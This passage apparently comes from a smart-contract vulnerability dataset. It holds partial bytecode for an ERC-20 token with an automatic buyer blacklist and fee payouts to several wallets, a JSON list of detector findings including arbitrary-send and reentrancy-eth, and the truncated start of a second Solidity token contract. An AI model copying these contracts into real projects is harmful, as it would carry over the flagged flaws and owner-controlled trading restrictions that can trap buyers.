ffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006009905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61090d6119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806109a1575061096b6119e6565b73ffffffffffffffffffffffffffffffffffffffff16610989610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b6109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d790613e87565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610a056119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a995750610a636119e6565b73ffffffffffffffffffffffffffffffffffffffff16610a81610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf90613e87565b60405180910390fd5b60008111610ae557600080fd5b8060148190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b406119e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc490613ec7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601360009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f654d545800000000000000000000000000000000000000000000000000000000815250905090565b610d106119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610da45750610d6e6119e6565b73ffffffffffffffffffffffffffffffffffffffff16610d8c610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda90613e87565b60405180910390fd5b80601360006101000a81548160ff02191690831515021790555050565b6000610e14610e0d6119e6565b8484611bb9565b6001905092915050565b610e266119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610eba5750610e846119e6565b73ffffffffffffffffffffffffffffffffffffffff16610ea2610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090613e87565b60405180910390fd5b60008111610f0657600080fd5b8060128190555050565b610f186119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fac5750610f766119e6565b73ffffffffffffffffffffffffffffffffffffffff16610f94610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe290613e87565b60405180910390fd5b60005b81518110156110a257600160076000848481518110611036577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061109a9061427d565b915050610fee565b5050565b6110ae6119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611142575061110c6119e6565b73ffffffffffffffffffffffffffffffffffffffff1661112a610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890613e87565b60405180910390fd5b600061118c30610aef565b9050600047905061119c826126d8565b60004790506111ab81836129d2565b505050565b6111b86119e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90613ec7565b60405180910390fd5b600f60149054906101000a900460ff1615611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c90613f27565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061132530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006119ee565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561136b57600080fd5b505afa15801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a391906138b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140557600080fd5b505afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d91906138b1565b6040518363ffffffff1660e01b815260040161145a929190613d0b565b602060405180830381600087803b15801561147457600080fd5b505af1158015611488573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ac91906138b1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153530610aef565b600080611540610ca2565b426040518863ffffffff1660e01b815260040161156296959493929190613d5d565b6060604051808303818588803b15801561157b57600080fd5b505af115801561158f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115b49190613a5d565b505050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611656929190613d34565b602060405180830381600087803b15801561167057600080fd5b505af1158015611684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a89190613a0b565b506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f40000601081905550436011819055506001600f60146101000a81548160ff02191690831515021790555050565b60115481565b6117216119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117b5575061177f6119e6565b73ffffffffffffffffffffffffffffffffffffffff1661179d610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b6117f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117eb90613e87565b60405180910390fd5b6000811161180157600080fd5b6118316103e861182383683635c9adc5dea00000612c8790919063ffffffff16565b612d0290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516118689190613f67565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119026119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061199657506119606119e6565b73ffffffffffffffffffffffffffffffffffffffff1661197e610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b6119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc90613e87565b60405180910390fd5b60004790506119e381612d4c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5590613f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613e47565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bac9190613f67565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bf357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2d57600080fd5b60008111611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6790613ee7565b60405180910390fd5b611c78610ca2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ce65750611cb6610ca2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125b157600f60179054906101000a900460ff1615611f19573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d6857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e626119e6565b73ffffffffffffffffffffffffffffffffffffffff161480611ed85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ec06119e6565b73ffffffffffffffffffffffffffffffffffffffff16145b611f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0e90613f47565b60405180910390fd5b5b5b601054811115611f2857600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611fcc5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120225750600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61202b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121445750600f60179054906101000a900460ff165b156121e55742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061219457600080fd5b603c426121a1919061409d565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60026011546121f4919061409d565b431115801561224d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561246c57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612360576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061246b565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561240c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561246a576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600061247730610aef565b9050600f60159054906101000a900460ff161580156124e45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124fc5750600f60169054906101000a900460ff165b156125af57600047905061250f826126d8565b600047905060008111156125285761252747836129d2565b5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156125915750601360009054906101000a900460ff165b801561259e575060145484115b156125ac576125ab612fa0565b5b50505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126585750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561266257600090505b61266e84848484613329565b50505050565b60008383111582906126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b39190613e25565b60405180910390fd5b50600083856126cb919061417e565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612736577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156127645781602001602082028036833780820191505090505b50905030816000815181106127a2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561284457600080fd5b505afa158015612858573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287c91906138b1565b816001815181106128b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119ee565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612981959493929190613f82565b600060405180830381600087803b15801561299b57600080fd5b505af11580156129af573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60006129e7828461335690919063ffffffff16565b90506000612a026006546005546133a090919063ffffffff16565b90506000612a2d82612a1f60055486612c8790919063ffffffff16565b612d0290919063ffffffff16565b90506000612a45600583612d0290919063ffffffff16565b90506000612a6f612a60600484612c8790919063ffffffff16565b8461335690919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612ad9573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612b42573d6000803e3d6000fd5b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612bab573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612c14573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c7d573d6000803e3d6000fd5b5050505050505050565b600080831415612c9a5760009050612cfc565b60008284612ca89190614124565b9050828482612cb791906140f3565b14612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee90613ea7565b60405180910390fd5b809150505b92915050565b6000612d4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506133fe565b905092915050565b6000612d62600583612d0290919063ffffffff16565b90506000612d8c612d7d600484612c8790919063ffffffff16565b8461335690919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612df6573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612e5f573d6000803e3d6000fd5b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612ec8573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f31573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612f9a573d6000803e3d6000fd5b50505050565b6001600f60156101000a81548160ff02191690831515021790555060004790506000811415612fcf575061330c565b6000612ff96064612feb60125485612c8790919063ffffffff16565b612d0290919063ffffffff16565b9050600081141561300b57505061330c565b6000600267ffffffffffffffff81111561304e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561307c5781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156130e757600080fd5b505afa1580156130fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061311f91906138b1565b81600081518110613159577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106131ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95836000847f000000000000000000000000000000000000000000000000000000000000dead61328061012c426133a090919063ffffffff16565b6040518663ffffffff1660e01b815260040161329f9493929190613dd9565b6000604051808303818588803b1580156132b857600080fd5b505af11580156132cc573d6000803e3d6000fd5b50505050507fce4ecff3fe64868b2d2c7c1125babbbff1d01a1a2566d1edd4ed0f91deaa9350826040516133009190613f67565b60405180910390a15050505b6000600f60156101000a81548160ff021916908315150217905550565b8061333757613336613461565b5b613342848484613473565b806133505761334f613762565b5b50505050565b600061339883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612674565b905092915050565b60008082846133af919061409d565b9050838110156133f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133eb90613e67565b60405180910390fd5b8091505092915050565b60008083118290613445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343c9190613e25565b60405180910390fd5b506000838561345491906140f3565b9050809150509392505050565b60006005819055506000600681905550565b6000600654600554613485919061409d565b905060006134af60646134a18486612c8790919063ffffffff16565b612d0290919063ffffffff16565b905060006134c6828561335690919063ffffffff16565b905061351a84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461335690919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135af81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133a090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061364482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133a090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082146136f5573073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136ec9190613f67565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137529190613f67565b60405180910390a3505050505050565b60036005819055506007600681905550565b60006137876137828461401c565b613ff7565b905080838252602082019050828560208602820111156137a657600080fd5b60005b858110156137d657816137bc88826137e0565b8452602084019350602083019250506001810190506137a9565b5050509392505050565b6000813590506137ef8161456d565b92915050565b6000815190506138048161456d565b92915050565b600082601f83011261381b57600080fd5b813561382b848260208601613774565b91505092915050565b60008135905061384381614584565b92915050565b60008151905061385881614584565b92915050565b60008135905061386d8161459b565b92915050565b6000815190506138828161459b565b92915050565b60006020828403121561389a57600080fd5b60006138a8848285016137e0565b91505092915050565b6000602082840312156138c357600080fd5b60006138d1848285016137f5565b91505092915050565b600080604083850312156138ed57600080fd5b60006138fb858286016137e0565b925050602061390c858286016137e0565b9150509250929050565b60008060006060848603121561392b57600080fd5b6000613939868287016137e0565b935050602061394a868287016137e0565b925050604061395b8682870161385e565b9150509250925092565b6000806040838503121561397857600080fd5b6000613986858286016137e0565b92505060206139978582860161385e565b9150509250929050565b6000602082840312156139b357600080fd5b600082013567ffffffffffffffff8111156139cd57600080fd5b6139d98482850161380a565b91505092915050565b6000602082840312156139f457600080fd5b6000613a0284828501613834565b91505092915050565b600060208284031215613a1d57600080fd5b6000613a2b84828501613849565b91505092915050565b600060208284031215613a4657600080fd5b6000613a548482850161385e565b91505092915050565b600080600060608486031215613a7257600080fd5b6000613a8086828701613873565b9350506020613a9186828701613873565b9250506040613aa286828701613873565b9150509250925092565b6000613ab88383613ac4565b60208301905092915050565b613acd816141b2565b82525050565b613adc816141b2565b82525050565b6000613aed82614058565b613af7818561407b565b9350613b0283614048565b8060005b83811015613b33578151613b1a8882613aac565b9750613b258361406e565b925050600181019050613b06565b5085935050505092915050565b613b49816141c4565b82525050565b613b5881614207565b82525050565b6000613b6982614063565b613b73818561408c565b9350613b83818560208601614219565b613b8c81614353565b840191505092915050565b6000613ba460228361408c565b9150613baf82614364565b604082019050919050565b6000613bc7601b8361408c565b9150613bd2826143b3565b602082019050919050565b6000613bea60128361408c565b9150613bf5826143dc565b602082019050919050565b6000613c0d60218361408c565b9150613c1882614405565b604082019050919050565b6000613c3060208361408c565b9150613c3b82614454565b602082019050919050565b6000613c5360298361408c565b9150613c5e8261447d565b604082019050919050565b6000613c7660248361408c565b9150613c81826144cc565b604082019050919050565b6000613c9960178361408c565b9150613ca48261451b565b602082019050919050565b6000613cbc60118361408c565b9150613cc782614544565b602082019050919050565b613cdb816141f0565b82525050565b613cea816141fa565b82525050565b6000602082019050613d056000830184613ad3565b92915050565b6000604082019050613d206000830185613ad3565b613d2d6020830184613ad3565b9392505050565b6000604082019050613d496000830185613ad3565b613d566020830184613cd2565b9392505050565b600060c082019050613d726000830189613ad3565b613d7f6020830188613cd2565b613d8c6040830187613b4f565b613d996060830186613b4f565b613da66080830185613ad3565b613db360a0830184613cd2565b979650505050505050565b6000602082019050613dd36000830184613b40565b92915050565b6000608082019050613dee6000830187613b4f565b8181036020830152613e008186613ae2565b9050613e0f6040830185613ad3565b613e1c6060830184613cd2565b95945050505050565b60006020820190508181036000830152613e3f8184613b5e565b905092915050565b60006020820190508181036000830152613e6081613b97565b9050919050565b60006020820190508181036000830152613e8081613bba565b9050919050565b60006020820190508181036000830152613ea081613bdd565b9050919050565b60006020820190508181036000830152613ec081613c00565b9050919050565b60006020820190508181036000830152613ee081613c23565b9050919050565b60006020820190508181036000830152613f0081613c46565b9050919050565b60006020820190508181036000830152613f2081613c69565b9050919050565b60006020820190508181036000830152613f4081613c8c565b9050919050565b60006020820190508181036000830152613f6081613caf565b9050919050565b6000602082019050613f7c6000830184613cd2565b92915050565b600060a082019050613f976000830188613cd2565b613fa46020830187613b4f565b8181036040830152613fb68186613ae2565b9050613fc56060830185613ad3565b613fd26080830184613cd2565b9695505050505050565b6000602082019050613ff16000830184613ce1565b92915050565b6000614001614012565b905061400d828261424c565b919050565b6000604051905090565b600067ffffffffffffffff82111561403757614036614324565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006140a8826141f0565b91506140b3836141f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156140e8576140e76142c6565b5b828201905092915050565b60006140fe826141f0565b9150614109836141f0565b925082614119576141186142f5565b5b828204905092915050565b600061412f826141f0565b915061413a836141f0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614173576141726142c6565b5b828202905092915050565b6000614189826141f0565b9150614194836141f0565b9250828210156141a7576141a66142c6565b5b828203905092915050565b60006141bd826141d0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614212826141f0565b9050919050565b60005b8381101561423757808201518184015260208101905061421c565b83811115614246576000848401525b50505050565b61425582614353565b810181811067ffffffffffffffff8211171561427457614273614324565b5b80604052505050565b6000614288826141f0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156142bb576142ba6142c6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f7065726d697373696f6e2064656e6965642e0000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b614576816141b2565b811461458157600080fd5b50565b61458d816141c4565b811461459857600080fd5b50565b6145a4816141f0565b81146145af57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b1259d561cbdfcb1c9932a57225345dedb043ee9732eed993bd0214aedce8e664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,294 |
0xb2c223c88db4436e730ad55b7e1e2379b1564020
|
pragma solidity ^0.4.25;
//Social media platforms
//https://dizoolcloud.com/
//https://twitter.com/DIZOOLTOKEN
//https://t.me/DIZOOL
//https://medium.com/@DIZOOLTOKEN
//https://github.com/DIZOOL-DZL
//https://dizoolcloud.com/home/WhitePaperDZL.pdf
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
